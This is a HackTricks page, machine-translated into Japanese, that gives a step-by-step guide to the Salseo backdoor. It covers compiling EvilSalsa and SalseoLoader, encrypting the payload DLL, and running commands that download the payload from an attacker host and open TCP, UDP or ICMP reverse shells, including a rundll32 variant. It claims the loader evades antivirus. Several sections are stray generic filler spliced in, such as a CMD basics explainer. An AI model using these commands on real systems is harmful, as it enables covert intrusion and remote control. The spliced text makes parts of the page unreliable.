hacktricks/backdoors/salseo.md

13 KiB
Raw Blame History

Salseo

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

バイナリのコンパイル

githubからソースコードをダウンロードし、EvilSalsaSalseoLoaderをコンパイルします。コードをコンパイルするにはVisual Studioが必要です。

これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルしてくださいWindowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします

Visual Studio内で、左側の"Build"タブの**"Platform Target"でアーキテクチャを選択**できます。

(**このオプションが見つからない場合は、**"Project Tab"を押し、次に"<Project Name> Properties"**を押します)

次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます

バックドアの準備

まず、EvilSalsa.dllをエンコードする必要があります。これには、pythonスクリプトencrypterassembly.pyを使用するか、プロジェクトEncrypterAssemblyをコンパイルすることができます:

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

Windowsは、バックドアを作成するためのさまざまな方法を提供しています。以下にいくつかの一般的な手法を紹介します。

リモートデスクトップ

リモートデスクトップRDPは、Windowsマシンにリモートでアクセスするための機能です。バックドアを作成するために、攻撃者はRDPを利用してWindowsマシンにアクセスし、システムに対する制御を取得します。

サービス

Windowsでは、バックドアを作成するためにサービスを利用することができます。攻撃者は、システムにバックドアをインストールし、サービスとして実行することで、システムに持続的なアクセスを確保します。

スケジュールされたタスク

Windowsのスケジュールされたタスク機能を利用することで、バックドアを作成することができます。攻撃者は、タスクスケジューラを使用して、定期的にバックドアを実行するように設定します。

レジストリ

Windowsのレジストリは、バックドアを作成するための重要な要素です。攻撃者は、レジストリを変更することで、システムの設定や動作を操作し、バックドアを作成します。

ファイルシステム

Windowsのファイルシステムを利用することで、バックドアを作成することができます。攻撃者は、システムのファイルやディレクトリを操作し、バックドアを配置します。

これらは、Windowsでバックドアを作成するための一般的な手法の一部です。攻撃者は、これらの手法を組み合わせたり、他の手法を使用したりすることで、より高度な攻撃を行うことができます。

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

よし、これでSalseoのすべてを実行するために必要なものが揃いました: エンコードされたEvilDalsa.dllSalseoLoaderのバイナリです。

SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないはずです...

バックドアの実行

TCPリバースシェルの取得HTTPを介してエンコードされたdllをダウンロード

リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたevilsalsaを提供することを忘れないでください。

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

UDPリバースシェルの取得SMBを介してエンコードされたdllをダウンロードする

リバースシェルのリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバーimpacket-smbserverを起動することを忘れないようにしてください。

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

ICMPリバースシェルの取得既に被害者内にエンコードされたdllが存在する場合

今回は、クライアント側でリバースシェルを受け取るための特別なツールが必要です。ダウンロードしてください: https://github.com/inquisb/icmpsh

ICMP応答の無効化

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

クライアントを実行する:

./client

The client will connect to the server and wait for commands.

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

ターゲット内部で、salseoの実行を行います

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする

Visual Studioを使用してSalseoLoaderプロジェクトを開きます。

メイン関数の前に[DllExport]を追加します

このプロジェクトにDllExportをインストールします

ツール --> NuGetパッケージマネージャー --> ソリューションのNuGetパッケージを管理...

DllExportパッケージを検索しますブラウズタブを使用し、インストールを押しますポップアップを受け入れます

プロジェクトフォルダには、DllExport.batDllExport_Configure.batのファイルが表示されます

DllExportをアンインストールします

アンインストールを押します(はい、奇妙ですが、信じてください、必要です)

Visual Studioを終了し、DllExport_configureを実行します

Visual Studioを終了します

次に、SalseoLoaderフォルダに移動し、DllExport_Configure.batを実行します

x64を選択しますx64ボックス内で使用する場合、私の場合はそうでしたSystem.Runtime.InteropServicesDllExportの名前空間内)を選択し、Applyを押します

Visual Studioでプロジェクトを再度開きます

**[DllExport]**はもはやエラーとしてマークされません

ソリューションをビルドします

出力の種類 = クラスライブラリを選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力の種類 = クラスライブラリ)

x64プラットフォームを選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64

ソリューションをビルドするには:ビルド --> ソリューションのビルド出力コンソールに新しいDLLのパスが表示されます

生成されたDLLをテストします

テストしたい場所にDLLをコピーして貼り付けます。

実行します:

rundll32.exe SalseoLoader.dll,main

エラーが表示されない場合、おそらく機能するDLLを持っています

DLLを使用してシェルを取得する

HTTPサーバーを使用し、ncリスナーを設定することを忘れないでください。

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.

CMD provides a wide range of commands that can be used to carry out different operations. Some commonly used commands include:

  • cd: Change directory
  • dir: List files and directories
  • mkdir: Create a new directory
  • del: Delete files
  • copy: Copy files
  • move: Move files
  • ren: Rename files
  • tasklist: List running processes
  • taskkill: Terminate a running process

CMD can also be used to execute batch scripts, which are a series of commands stored in a text file with the extension .bat or .cmd. Batch scripts allow users to automate repetitive tasks by running multiple commands sequentially.

Overall, CMD is a powerful tool for managing and controlling the Windows operating system through the command line interface.

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥